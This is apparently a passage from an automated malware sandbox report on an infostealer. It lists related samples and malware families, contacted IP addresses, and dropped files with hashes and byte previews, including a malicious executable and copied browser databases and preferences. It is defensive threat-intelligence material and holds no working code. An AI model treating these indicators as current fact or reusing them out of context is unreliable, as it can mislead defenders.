	0.dll	Get hash	malicious	Bazar Loader, BruteRatel, Latrodectus	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	DropboxInstaller.exe	Get hash	malicious	Unknown	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	DropboxInstaller.exe	Get hash	malicious	Unknown	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	file.exe	Get hash	malicious	SmokeLoader	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
	p37SE6gM52.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.4.136 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 104.21.2.13 172.67.208.139
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	Unknown	Browse	5.75.211.162
	Z09QznvZSr.exe	Get hash	malicious	Unknown	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.75.211.162
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 172.105.54.160
	file.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 172.105.54.160
	e.dll	Get hash	malicious	Dridex Dropper	Browse	104.102.49.254 172.105.54.160
	e.dll	Get hash	malicious	Dridex Dropper	Browse	104.102.49.254 172.105.54.160
	Payment copy.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254 172.105.54.160
	Z09QznvZSr.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 172.105.54.160
	PERMINTAAN ANGGARAN (Universitas IPB) ID177888.vbe	Get hash	malicious	GuLoader, Lokibot	Browse	104.102.49.254 172.105.54.160
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.102.49.254 172.105.54.160
	PersonalizedOffer.exe	Get hash	malicious	UltraVNC	Browse	104.102.49.254 172.105.54.160
	38sab1rT0H.exe	Get hash	malicious	Latrodectus	Browse	104.102.49.254 172.105.54.160

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFBFHDBKJE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	413224
Entropy (8bit):	7.988867781346718
Encrypted:	false
SSDEEP:	6144:O+0dGgr04h1LBuTmcYz43wUDPNvms5PYYzX3oYbEU6DsV4+1/QSyiZEO:30d/h1LBK13wUjx5QYTo0EUBVSS/EO
MD5:	2CCE29D734EA1D227B338834698E2DE4
SHA1:	41700CD1BCF5F5BCCA81CE722ED47FC17BD030C2
SHA-256:	F75ACF936390F89239C43552717EFB65C4C3190B16A7EEC62DCD0053A045E91D
SHA-512:	EA0B440113A225764B38AE2526A10F7E4F3081E4A353E9831CF0E846AC7BA97EA7C2B4A12AB6FAC5708A7855DA8967F1B6BC661757DC68D819D11887A6AF20B5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....f............................><... ...@....@.. ....................................`..................................;..S....@...............(..(&...`.......:............................................... ............... ..H............text...D.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B................ <......H..........0............................................................R....^.G.Y..60...7~...r..f.b.xg]..s.j.{0..M....6.....{..[..@U....Nq!...+.. ....J.......2....5....QL".l....V......M@........_....)K...P.../p.wg..........7:?.C..f ....Sc...... x.n];.w1..e.$:z.d.>!.t..q....Vg.3c.h.hlWt..5...br...H.XD6...uW11v9I.\|...xJnLx......w>..>s...^.'.s2J....Y......U......-.E#).:....~...2]8...SU..f8zd.i..ns>..fx...:.U..&B....`.g...Z.L.#........03z..>..^...t.K.Y.[q

C:\ProgramData\AKFCFBAA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKECAFBFHJDGDHIEHJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKFHIEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKKFHIEGDHJKECAAKKEBAFIJKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIIECGHCBFHJKEHDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EBAAAFBGDBKK\AFHDBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAAAFBGDBKK\GHDHDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\BAAAAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\BAKKEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\CFCBFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGIDAAFIEHIE\DHJEBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\DHJEBG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\EHJKFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\EHJKFC-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\FBFCAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\FCBAEC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\JEHIJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\JJECGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDAAFIEHIE\KEBGHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAKFIJJKJJJKEBKJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJJDGHCBGDHIECBGIDAEHCGDG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
